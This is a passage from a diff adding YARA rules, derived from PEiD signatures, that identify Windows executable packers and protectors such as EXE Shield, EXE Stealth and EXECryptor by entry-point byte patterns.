+        $a = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00560_Exe_Locker_v1_0____IonIce_
+{
+    meta:
+        description = "[Exe Locker v1.0 -> IonIce]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00561_EXE_Manager_Version_3_0_1994__c__Solar_Designer_
+{
+    meta:
+        description = "[EXE Manager Version 3.0 1994 (c) Solar Designer]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00562_EXE_Packer_v7_0_by_TurboPower_Software_
+{
+    meta:
+        description = "[EXE Packer v7.0 by TurboPower Software]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00563_EXE_Shield_0_5____Smoke_
+{
+    meta:
+        description = "[EXE Shield 0.5 -> Smoke]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+    condition:
+        $a
+}
+
+rule PEiD_00564_Exe_Shield_2_7b_
+{
+    meta:
+        description = "[Exe Shield 2.7b]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+    condition:
+        $a
+}
+
+rule PEiD_00565_EXE_Shield_v0_1b___v0_3b__v0_3____SMoKE_
+{
+    meta:
+        description = "[EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00566_EXE_Shield_V0_5____Smoke_
+{
+    meta:
+        description = "[EXE Shield V0.5 -> Smoke]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00567_EXE_Shield_V0_6____SMoKE_
+{
+    meta:
+        description = "[EXE Shield V0.6 -> SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+    condition:
+        $a
+}
+
+rule PEiD_00568_EXE_Shield_V0_6____SMoKE_
+{
+    meta:
+        description = "[EXE Shield V0.6 -> SMoKE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00569_Exe_Shield_v1_7_
+{
+    meta:
+        description = "[Exe Shield v1.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00570_Exe_Shield_v2_7_
+{
+    meta:
+        description = "[Exe Shield v2.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00571_Exe_Shield_v2_7b_
+{
+    meta:
+        description = "[Exe Shield v2.7b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 00 03 9D E6 90 40 00 53 8B C3 8B FB 2D AC 90 40 00 89 85 AD 90 40 00 8D B5 AC 90 40 00 B9 40 04 00 00 F3 A5 8B FB C3 BD 00 00 00 00 8B F7 83 C6 54 81 C7 FF 10 00 00 56 57 57 56 FF 95 DA 90 40 00 8B C8 5E 5F 8B C1 C1 F9 02 F3 A5 03 C8 83 E1 03 F3 A4 EB 26 D0 12 5B 00 AC 12 5B 00 48 12 5B 00 00 00 40 00 00 D0 5A 00 00 10 5B 00 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 8B 0E B5 E6 90 40 07 56 03 76 EE 0F 18 83 C6 14 12 35 97 80 8D BD 63 39 0D B9 06 86 02 07 F3 A5 6A 04 68 06 10 12 1B FF B5 51 29 EE 10 22 95}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00572_Exe_Shield_v2_9_
+{
+    meta:
+        description = "[Exe Shield v2.9]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00573_Exe_Shield_vx_x_
+{
+    meta:
+        description = "[Exe Shield vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00574_EXE_Stealth_2_5_
+{
+    meta:
+        description = "[EXE Stealth 2.5]"
+        ep_only = "false"
+    strings:
+        $a = {60 90 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D E8 00 00 00 00 5D 81 ED 40 1E 40 00 B9 99 09 00 00 8D BD 88 1E 40 00 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00575_EXE_Stealth_2_73_
+{
+    meta:
+        description = "[EXE Stealth 2.73]"
+        ep_only = "false"
+    strings:
+        $a = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+    condition:
+        $a
+}
+
+rule PEiD_00576_EXE_Stealth_2_74_
+{
+    meta:
+        description = "[EXE Stealth 2.74]"
+        ep_only = "false"
+    strings:
+        $a = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+    condition:
+        $a
+}
+
+rule PEiD_00577_Exe_Stealth_2_75a____WebtoolMaster_
+{
+    meta:
+        description = "[Exe Stealth 2.75a -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00578_Exe_Stealth_2_75a____WebtoolMaster_
+{
+    meta:
+        description = "[Exe Stealth 2.75a -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 90 60 90 E8 00 00 00 00 5D 81 ED F7 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 74 28 40 00 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00579_EXE_Stealth_v1_1_
+{
+    meta:
+        description = "[EXE Stealth v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00580_EXE_Stealth_v2_71_
+{
+    meta:
+        description = "[EXE Stealth v2.71]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00581_EXE_Stealth_v2_72_
+{
+    meta:
+        description = "[EXE Stealth v2.72]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00582_EXE_Stealth_v2_76____WebToolMaster_
+{
+    meta:
+        description = "[EXE Stealth v2.76 -> WebToolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {EB 65 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 59 4F 55 52 20 41 44 20 48 45 52 45 21 50 69 52 41 43 59 20 69 53 20 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00583_EXE_Stealth_v2_7_
+{
+    meta:
+        description = "[EXE Stealth v2.7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00584_EXE2COM__Encrypted_without_selfcheck__
+{
+    meta:
+        description = "[EXE2COM (Encrypted without selfcheck)]"
+        ep_only = "true"
+    strings:
+        $a = {B3 ?? B9 ?? ?? BE ?? ?? BF ?? ?? EB ?? 54 69 ?? ?? ?? ?? 03 ?? ?? 32 C3 AA 43 49 E3 ?? EB ?? BE ?? ?? 8B C6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00585_EXE2COM__Limited__
+{
+    meta:
+        description = "[EXE2COM (Limited)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 8B 04 3D ?? ?? 74 ?? BA ?? ?? B4 09 CD 21 CD 20}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00586_EXE2COM__Method_1__
+{
+    meta:
+        description = "[EXE2COM (Method 1)]"
+        ep_only = "true"
+    strings:
+        $a = {8C DB BE ?? ?? 8B C6 B1 ?? D3 E8 03 C3 03 ?? ?? A3 ?? ?? 8C C8 05 ?? ?? A3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00587_EXE2COM__Packed__
+{
+    meta:
+        description = "[EXE2COM (Packed)]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? 89 ?? ?? ?? 81 ?? ?? ?? ?? ?? 8C ?? ?? ?? 8C C8 05 ?? ?? 8E C0 BE ?? ?? 8B FE 0E 57 54 59 F3 A4 06 68 ?? ?? CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00588_EXE2COM__regular__
+{
+    meta:
+        description = "[EXE2COM (regular)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 8C CA 81 C3 ?? ?? 3B 16 ?? ?? 76 ?? BA ?? ?? B4 09 CD 21 CD 20 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00589_EXE2COM__With_CRC_check__
+{
+    meta:
+        description = "[EXE2COM (With CRC check)]"
+        ep_only = "true"
+    strings:
+        $a = {B3 ?? B9 ?? ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 43 49 32 E4 03 D0 E3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00590_EXE32Pack_v1_36_
+{
+    meta:
+        description = "[EXE32Pack v1.36]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00591_EXE32Pack_v1_37_
+{
+    meta:
+        description = "[EXE32Pack v1.37]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00592_EXE32Pack_v1_38_
+{
+    meta:
+        description = "[EXE32Pack v1.38]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00593_EXE32Pack_v1_39_
+{
+    meta:
+        description = "[EXE32Pack v1.39]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00594_EXE32Pack_v1_3x_
+{
+    meta:
+        description = "[EXE32Pack v1.3x]"
+        ep_only = "true"
+    strings:
+        $a = {3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00595_ExeBundle_v3_0__small_loader__
+{
+    meta:
+        description = "[ExeBundle v3.0 (small loader)]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00596_ExeBundle_v3_0__standard_loader__
+{
+    meta:
+        description = "[ExeBundle v3.0 (standard loader)]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00597_EXECrypt_1_0____ReBirth_
+{
+    meta:
+        description = "[EXECrypt 1.0 -> ReBirth]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 60 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 4E 28 40 00 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00598_EXECryptor_2_0_2_1__protected_IAT_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+    condition:
+        $a
+}
+
+rule PEiD_00599_EXECryptor_2_0_2_1__protected_IAT_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 (protected IAT) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00600_EXECryptor_2_0_2_1____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF ?? 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00601_EXECryptor_2_0_2_1____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.0/2.1 -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00602_EXECryptor_2_1_17____Strongbit___SoftComplete_Development__h__
+{
+    meta:
+        description = "[EXECryptor 2.1.17 -> Strongbit / SoftComplete Development (h)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01}
+    condition:
+        $a
+}
+
+rule PEiD_00603_EXECryptor_2_1_17____Strongbit_SoftComplete_Development__h__
+{
+    meta:
+        description = "[EXECryptor 2.1.17 -> Strongbit/SoftComplete Development (h)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 D0 03 45 F4 8B 18 8B 7E 10 01 D7 03 7D F4 09 DB 0F 84 ?? 00 00 00 F7 C3 00 00 00 80 0F 85 04 00 00 00 8D 5C 13 02 81 E3 FF FF FF 7F 53 FF 75 F8 FF 15 9C ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 07 83 45 F4 04 E9 A6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00604_EXECryptor_2_2_4____Strongbit_SoftComplete_Development__h1__
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00605_EXECryptor_2_2_4____Strongbit_SoftComplete_Development__h2__
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h2)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00606_EXECryptor_2_2_4____Strongbit_SoftComplete_Development_
+{
+    meta:
+        description = "[EXECryptor 2.2.4 -> Strongbit/SoftComplete Development]"
+        ep_only = "false"
+    strings:
+        $a = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+    condition:
+        $a
+}
+
+rule PEiD_00607_EXECryptor_2_2_6__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2.6 (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00608_EXECryptor_2_2_6__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.2.6 (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? ?? C3 BF ?? ?? ?? ?? 81 CB ?? ?? ?? ?? BA ?? ?? ?? ?? 52 E9 ?? ?? ?? 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 34 24 5E 66 8B 00 66 25 ?? ?? E9 ?? ?? ?? ?? 8B CD 87 0C 24 8B EC 51 89 EC 5D 8B 05 ?? ?? ?? ?? 09 C0 E9 ?? ?? ?? ?? 59 81 C1 ?? ?? ?? ?? C1 C1 ?? 23 0D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? E9 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 13 D0 0B F9 E9 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 64 24 08 31 C0 64 8F 05 00 00 00 00 5A E9 ?? ?? ?? ?? 3C A4 0F 85 ?? ?? ?? 00 8B 45 FC 66 81 38 ?? ?? 0F 84 05 00 00 00 E9 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 87 3C 24 5F 31 DB 31 C9 31 D2 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 45 FC 33 C0 89 45 F4 83 7D FC 00 E9 ?? ?? ?? ?? 53 52 8B D1 87 14 24 81 C0 ?? ?? ?? ?? 0F 88 ?? ?? ?? ?? 3B CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00609_EXECryptor_2_2_6_DLL__minimum_protection_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.2.6 DLL (minimum protection) -> www.strongbit.com]"
+        ep_only = "false"
+    strings:
+        $a = {50 8B C6 87 04 24 68 ?? ?? ?? ?? 5E E9 ?? ?? ?? ?? 85 C8 E9 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 0F 81 ?? ?? ?? 00 81 FA ?? ?? ?? ?? 33 D0 E9 ?? ?? ?? 00 0F 8D ?? ?? ?? 00 81 D5 ?? ?? ?? ?? F7 D1 0B 15 ?? ?? ?? ?? C1 C2 ?? 81 C2 ?? ?? ?? ?? 9D E9 ?? ?? ?? ?? C1}
+    condition:
+        $a
+}
+
+rule PEiD_00610_EXECryptor_2_2_6_DLL__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.2.6 DLL (minimum protection)]"
+        ep_only = "true"
+    strings:
